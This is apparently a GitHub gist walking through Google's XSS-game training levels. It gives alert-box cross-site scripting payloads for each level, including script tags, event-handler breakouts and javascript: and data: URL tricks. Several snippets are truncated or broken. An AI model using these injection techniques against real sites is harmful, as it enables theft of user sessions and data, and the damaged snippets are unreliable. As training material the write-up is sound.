Skip to content

Instantly share code, notes, and snippets.

What would you like to do?

XSS-game by Google

Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch them, pronto!

At Google, we know very well how important these bugs are. In fact, Google is so serious about finding and fixing XSS issues that we are paying mercenaries up to $7,500 for dangerous XSS bugs discovered in our most sensitive products.

In this training program, you will learn to find and exploit XSS bugs. You'll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.

There will be cake at the end of the test.

Level 1: Hello, world of XSS

This level demonstrates a common cause of cross-site scripting where user input is directly included in the page without proper escaping.


<script> alert('XSS') </script>

Level 2: Persistence is key

Web applications often keep user data in server-side and, increasingly, client-side databases and later display it to users. No matter where such user-controlled data comes from, it should be handled carefully. This level shows how easily XSS bugs can be introduced in complex apps.


<img src="" onload="alert('XSS')" />

Level 3: That sinking Feeling

As you've seen in the previous level, some common JS functions are execution sinks which means that they will cause the browser to execute any scripts that appear in their input. Sometimes this fact is hidden by higher-level APIs which use one of these functions under the hood. The application on this level is using one such hidden sink.


We can see in the source code that the parameter is not filtered and directely put into the image tags. This allows us to inject code...

function chooseTab(num) {
	// Dynamically load the appropriate image.
	var html = "Image " + parseInt(num) + "<br>";
	html += "<img src='/static/level3/cloud" + num + ".jpg' />";
	// ...

We can inject the following:


which gives the following html:

<img src='/static/level3/cloud1.jpg'onload='alert("xss")'.jpg' />

Level 4: Context matters

Every bit of user-supplied data must be correctly escaped for the context of the page in which it will appear. This level shows why.


Similar to level 3, we see:

<img onload="startTimer('100');" src="/static/loading.gif"></img>

So we only have to mess with the GET statement to inject our code.')%3Balert('XSS

(%3B is the url encoded version of a semi-colon).

Which renders:

onload="startTimer('100');alert('XSS');" src="/static/loading.gif"></img>

Level 5: Breaking protocol

Cross-site scripting isn't just about correctly escaping data. Sometimes, attackers can do bad things even without injecting new elements into the DOM.


We see that the link on the second page changes when we change the "next" parameter in the URL.

So we simply change the URL to:"XSS")

Level 6: Follow the rabbit

Complex web applications sometimes have the capability to dynamically load JavaScript libraries based on the value of their URL parameters or part of location.hash. This is very tricky to get right -- allowing user input to influence the URL when loading scripts or other potentially dangerous types of data such as XMLHttpRequest often leads to serious vulnerabilities.


function includeGadget(url) {
	var scriptEl = document.createElement('script');

	// This will totally prevent us from loading evil URLs!
	if (url.match(/^https?:\/\//)) {
		"Sorry, cannot load a URL containing \"http\".");

	// Load this awesome gadget
	scriptEl.src = url;

	// Show log messages
	scriptEl.onload = function() { 
		"Loaded gadget from " + url);
	scriptEl.onerror = function() { 
		"Couldn't load gadget from " + url);


We can inject this by using data:text/javascript For example:,alert('XSS')

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment